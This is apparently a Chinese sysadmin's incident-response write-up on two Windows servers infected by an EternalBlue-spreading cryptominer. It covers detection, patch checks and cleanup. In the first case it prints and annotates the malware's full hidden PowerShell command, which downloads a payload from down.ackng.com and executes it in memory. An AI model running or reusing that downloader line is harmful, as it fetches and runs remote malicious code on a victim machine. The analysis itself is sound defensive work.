在公司这几天收到 CSO 发来不少火绒告警讯息,通过查看信息发现是攻击 445 端口,这一看很可能是永恒之蓝呀。
通过对这台机器端口扫描结果发现对方也开了 445。😶
135/tcp open msrpc139/tcp open netbios-ssn445/tcp open microsoft-ds1688/tcp open nsjtp-data3389/tcp open ms-wbt-server5200/tcp open targus-getdata49152/tcp open unknown49153/tcp open unknown49155/tcp open unknown49197/tcp open unknown49350/tcp open unknown49438/tcp open unknown57084/tcp open unknown65529/tcp open unknown65530/tcp open unknown65533/tcp open unknown
问负责人要了密码登录进去,随手看了下任务管理器,资源占用还挺高,任务栏程序窗口也没有,超奇怪的唉。🙄
那我想怎么能查得到这个 PowerShell 运行的是什么脚本呀,通过 google 找到一条语句,可查询 powershell.exe 命令行参数。
wmic process where caption="powershell.exe" get caption,commandline /value得到异常参数。
Caption=powershell.exeCommandLine=powershell -nop -w hidden -ep bypass -c "$ifp=$env:tmp+'\if.bin';if(test-path $ifp){$con=[System.IO.File]::ReadAllBytes($ifp);[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')};if($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''}}if(!$con){$con=(New-Object Net.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-G4SEL2FMI8M&GUID=DC503C42-A0A0-EBD7-0982-249C228D246A&MAC=00:50:56:BC:32:54&OS=6.3.9600&BIT=64 位&USER=MSSQLSERVER&DOMAIN=WORKGROUP&D=&CD=Microsoft 基本显示适配器&P=0&FI=0&FM=0&IF=0&MF=0&HR=&UP=1586108.812&_T=1572307138.34506');[System.IO.File]::WriteAllBytes($ifp,$con)}IEX(-join[char[]]$con)"
一搜其中 down.ackng.com 域名得知是挖矿病毒。
手动格式化并查了一堆资料后写下注释。
powershell-nop -w hidden -ep bypass-c " $ifp=$env:tmp+'\if.bin'; # 获取当前用户tmp目录下if.bin文件信息if(test-path $ifp){ # 用test-path判断if.bin文件是否存在 $con=[System.IO.File]::ReadAllBytes($ifp); # 将if.bin文件作为字节读入内存,不过这里是放入变量[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')}; # 计算已经加载到内存中if.bin文件的md5校验和,将内容转换为十六进制存入变量sif($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''} # 看校验和是否一至,不是就将$con清空(看看是不是自家挖矿文件)。}if(!$con){ # 如果$con没被篡改(或不存在)继续往下走 $con=(New-Object Net.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-G4SEL2FMI8M&GUID=DC503C42-A0A0-EBD7-0982-249C228D246A&MAC=00:50:56:BC:32:54&OS=6.3.9600&BIT=64 位&USER=MSSQLSERVER&DOMAIN=WORKGROUP&D=&CD=Microsoft 基本显示适配器&P=0&FI=0&FM=0&IF=0&MF=0&HR=&UP=1586108.812&_T=1572307138.34506');[System.IO.File]::WriteAllBytes($ifp,$con)# 创建一个对象,使用这个对象下载,将下载的内容存入$con变量,随后将$con的内容写入$ifp路径。}IEX(-join[char[]]$con) # IEX=Invoke-Expression,用来执行$con恶意内容,搞不懂为啥要转换数组再join连接-join[char[]]"
根据脚本 $env:tmp 查看目录中发现 if.bin 和 m6.bin。
从秦萧公众号一篇应急响应文章得知判断方法,要想断定病毒或木马文件可以查看详细信息是否为空,正常文件都会带有信息。这 tips 在整理这篇总结时才发现,遂记录于此。
netstat -ano 查看网络连接和Wireshark抓包都没异常连接,火绒也没正常启用(显示驱动版本不匹配)。
查询系统补丁,服务器系统是 2012R2, MS17-010 的 kb4012213 和 kb4012216 补丁都没打,永恒之蓝实锤了。
systeminfo | findstr /I "kb4012213"systeminfo | findstr /I "kb4012216"
按基操查继续看任务计划、安全日志、系统日志、服务这几个方面。
任务计划发现命令方式都是随机字母,执行参数和前面混淆过的代码差不多。
日志和服务忘记录了,不过一般会有大量登录失败的痕迹,我也见过直接把日志清空的情况....
脚本执行思路
分析 if.bin 文件,得知脚本会扫描整个内网 B 段和 C 段,采用 MS17-010 入侵和 3389 爆破等手段进入机器,采用无文件方式运行(甚至 360 开着都无法检测出这个进程出现问题),并使用任务计划等手段在服务器上持久化。
修复策略
删除异常任务计划 删除后门文件 结束PowerShell进程 开启Windows防火墙,并在入站规则禁止 445。 下载AD并全盘查杀 打补丁
案例二
又收到一条阿里云告警信息。
进程信息
网络连接
大量连接远程主机445端口,很有可能是被当作肉鸡去攻击别人机器。
补丁信息
未打 MS17-010 补丁。
systeminfo | find "4012215"systeminfo | find "4012212"
主机名: xx-xxOS 名称: Microsoft Windows Server 2008 R2 StandardOS 版本: 6.1.7601 Service Pack 1 Build 7601OS 制造商: Microsoft CorporationOS 配置: 独立服务器OS 构件类型: Multiprocessor Free注册的所有人: Windows 用户注册的组织:产品 ID: 00477-001-0000421-84376初始安装日期: 2013/6/27, 17:14:43系统启动时间: 2019/11/15, 22:18:50系统制造商: Alibaba Cloud系统型号: Alibaba Cloud ECS系统类型: x64-based PC处理器: 安装了 1 个处理器。[01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2500 MhzBIOS 版本: SeaBIOS 3288b3c, 2014/4/1Windows 目录: C:\windows系统目录: C:\windows\system32启动设备: \Device\HarddiskVolume1系统区域设置: zh-cn;中文(中国)输入法区域设置: zh-cn;中文(中国)时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐物理内存总量: 8,191 MB可用的物理内存: 4,079 MB虚拟内存: 最大值: 16,381 MB虚拟内存: 可用: 7,580 MB虚拟内存: 使用中: 8,801 MB页面文件位置: D:\pagefile.sys域: WORKGROUP登录服务器: \\xx-xx修补程序: 安装了 185 个修补程序。[01]: KB981391[02]: KB981392[03]: KB977236[04]: KB981111[05]: KB977238[06]: KB2849697[07]: KB2849696[08]: KB2841134[09]: KB2841134[10]: KB977239[11]: KB2670838[12]: KB2592687[13]: KB981390[14]: KB2386667[15]: KB2425227[16]: KB2506014[17]: KB2506212[18]: KB2506928[19]: KB2509553[20]: KB2511455[21]: KB2515325[22]: KB2529073[23]: KB2533552[24]: KB2536275[25]: KB2536276[26]: KB2541014[27]: KB2544893[28]: KB2545698[29]: KB2547666[30]: KB2552343[31]: KB2560656[32]: KB2563227[33]: KB2564958[34]: KB2570947[35]: KB2574819[36]: KB2584146[37]: KB2585542[38]: KB2603229[39]: KB2604115[40]: KB2607047[41]: KB2608658[42]: KB2618451[43]: KB2620704[44]: KB2621440[45]: KB2631813[46]: KB2636573[47]: KB2640148[48]: KB2643719[49]: KB2644615[50]: KB2645640[51]: KB2647753[52]: KB2653956[53]: KB2654428[54]: KB2655992[55]: KB2656356[56]: KB2658846[57]: KB2659262[58]: KB2660075[59]: KB2667402[60]: KB2676562[61]: KB2685811[62]: KB2685813[63]: KB2685939[64]: KB2690533[65]: KB2691442[66]: KB2698365[67]: KB2699779[68]: KB2705219[69]: KB2706045[70]: KB2709630[71]: KB2709981[72]: KB2712808[73]: KB2718704[74]: KB2719857[75]: KB2726535[76]: KB2729094[77]: KB2729452[78]: KB2732059[79]: KB2742599[80]: KB2743555[81]: KB2749655[82]: KB2750841[83]: KB2753842[84]: KB2757638[85]: KB2758857[86]: KB2761217[87]: KB2763523[88]: KB2765809[89]: KB2770660[90]: KB2779562[91]: KB2785220[92]: KB2786081[93]: KB2786400[94]: KB2789645[95]: KB2790113[96]: KB2791765[97]: KB2798162[98]: KB2800095[99]: KB2804579[100]: KB2807986[101]: KB2808679[102]: KB2813170[103]: KB2813347[104]: KB2813430[105]: KB2820197[106]: KB2820331[107]: KB2829361[108]: KB2830290[109]: KB2834140[110]: KB2835361[111]: KB2836502[112]: KB2836943[113]: KB2838727[114]: KB2839894[115]: KB2840149[116]: KB2843630[117]: KB2845690[118]: KB2847311[119]: KB2852386[120]: KB2853952[121]: KB2862152[122]: KB2862330[123]: KB2862335[124]: KB2862966[125]: KB2862973[126]: KB2864058[127]: KB2864202[128]: KB2868038[129]: KB2868116[130]: KB2868626[131]: KB2871997[132]: KB2872339[133]: KB2882822[134]: KB2884256[135]: KB2887069[136]: KB2888049[137]: KB2891804[138]: KB2892074[139]: KB2893294[140]: KB2893519[141]: KB2908783[142]: KB2912390[143]: KB2913152[144]: KB2918614[145]: KB2919469[146]: KB2922229[147]: KB2926765[148]: KB2928562[149]: KB2929733[150]: KB2929755[151]: KB2939576[152]: KB2957189[153]: KB2957503[154]: KB2957509[155]: KB2961072[156]: KB2961851[157]: KB2966583[158]: KB2970228[159]: KB2973201[160]: KB2973351[161]: KB2976897[162]: KB2977292[163]: KB2977728[164]: KB2978092[165]: KB2978120[166]: KB2978668[167]: KB2980245[168]: KB2984972[169]: KB2984976[170]: KB2985461[171]: KB2991963[172]: KB2992611[173]: KB2993651[174]: KB2993958[175]: KB2998527[176]: KB2999226[177]: KB3002885[178]: KB3003057[179]: KB3003743[180]: KB3005607[181]: KB3006226[182]: KB3008627[183]: KB3010788[184]: KB976902[185]: KB982018网卡: 安装了 3 个 NIC。[01]: Microsoft Loopback Adapter连接名: loopback启用 DHCP: 是DHCP 服务器: 255.255.255.255IP 地址[01]: 169.254.114.140[02]: fe80::8074:78b9:934f:728c[02]: Microsoft Loopback Adapter连接名: Npcap Loopback Adapter启用 DHCP: 是DHCP 服务器: 255.255.255.255IP 地址[01]: 169.254.219.140[02]: fe80::e0cd:a78e:5d99:db8c[03]: Red Hat VirtIO Ethernet Adapter连接名: 本地连接 3启用 DHCP: 否IP 地址[01]: 192.168.2.18[02]: fe80::3413:ef0f:fac1:6468
日志信息
根据恶意程序创建时间来筛查,安全日志 11 月 22 日前均被删除。
通过查询服务创建时间和释放时间吻合。
处理
通过火绒扫描删除恶意程序
防火墙入站规则禁止 445 连接本机。
PS:为什么文件没有被锁.....也许阿里云盾拦截操作了吧。
参考链接
永恒之蓝下载器木马再次更新 攻击者收集中招系统基本信息
https://s.tencent.com/research/report/709.html 应急响应系列之无文件攻击分析 https://www.freebuf.com/articles/network/216918.html 闲聊Windows系统日志 https://www.freebuf.com/vuls/175560.html powershell学习备忘
https://laucyun.com/a18dd98b04154ff8891d4a0b17fd9d7b.html
windows中常见后门持久化方法总结 https://xz.aliyun.com/t/6461